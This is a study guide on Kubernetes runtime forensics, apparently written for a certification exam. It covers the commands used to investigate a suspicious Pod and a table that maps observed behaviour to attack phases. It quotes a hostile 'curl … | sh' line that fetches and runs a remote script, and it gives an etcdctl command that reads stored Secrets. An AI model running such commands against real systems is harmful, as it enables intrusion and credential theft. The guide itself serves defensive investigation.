Runtime forensics: what is that process doing?

The task shape

"A Pod behaves suspiciously. Identify the process making outbound connections and
the file it is reading." Or: "which phase of an attack is this behaviour?"

First, the cheap commands

kubectl get pods -A -o wide                        # restart count is a clue
kubectl describe pod suspect -n prod | tail -30    # last state, reason
kubectl logs suspect -n prod --tail=50
kubectl top pod -n prod                            # crypto-miner: CPU pinned

# from the node, the container's real PIDs
sudo crictl ps | grep suspect
sudo crictl inspect <id> | jq '.info.pid'
sudo ps -ef --forest | grep -A5 <pid>

Inside the container

kubectl exec -n prod suspect -- ps aux
kubectl exec -n prod suspect -- cat /proc/1/cmdline | tr '\0' ' '
kubectl exec -n prod suspect -- ls -l /proc/1/fd      # open files
kubectl exec -n prod suspect -- cat /proc/1/net/tcp   # sockets, in hex
kubectl exec -n prod suspect -- ss -tp                # if ss exists

strace: watch the syscalls

# on the node, against the container's PID
sudo strace -f -p <pid> -e trace=network,openat -s 200
# what is it connecting to?
sudo strace -f -p <pid> -e trace=connect -s 100

In a Pod with strace installed:

kubectl exec -n prod suspect -- strace -f -e trace=execve -s 100 /bin/true

execve lines are the crown jewel: they show exactly what was launched, with
arguments — "the attacker ran curl -s http://185.x.x.x/x.sh | sh" comes straight
out of a trace.

sysdig: fleet-wide, filterable

sudo sysdig -c topfiles_bytes
sudo sysdig -c spy_users
sudo sysdig 'evt.type=connect and fd.port=4444'
sudo sysdig -r capture.scap | grep -i passwd

Attack phases, because the questions use the vocabulary

phase	what you would see
initial access	shell spawned in a container, unexpected execve
execution	a binary dropped in `/tmp` and run, `curl … \	sh`
persistence	write to `/etc/cron*`, a systemd unit, a new ServiceAccount token
privilege escalation	`setuid` binary, `cap_sys_admin` request, privileged Pod created
credential access	reads of `/var/run/secrets/...`, mass reads of `/etc/passwd`
discovery	`kubectl get` storms, `nslookup`, port scans from inside
lateral movement	new connections to other Pods on unexpected ports
exfiltration	large outbound transfers, DNS tunnelling
impact	crypto-miner (CPU pinned), deletion of objects

The exam words questions as "which phase is this?" — match the behaviour to the
row, not the tool.

etcd forensics

sudo ETCDCTL_API=3 etcdctl --cacert /etc/kubernetes/pki/etcd/ca.crt \
  --cert /etc/kubernetes/pki/etcd/server.crt --key /etc/kubernetes/pki/etcd/server.key \
  get /registry/secrets/prod/db | strings

This is how you prove a Secret is (or is not) encrypted, and how you find what an
attacker with etcd access actually took.

Traps

strace needs CAP_SYS_PTRACE (or root on the node). In a locked-down Pod it will fail — go to the node.
kubectl exec into a distroless container gives you nothing to run. Use the node.
PID namespaces: the PID inside the container is not the PID on the node. Always resolve with crictl inspect.
A "suspicious" Pod that is just a CronJob doing its job. Read the owner references before crying compromise.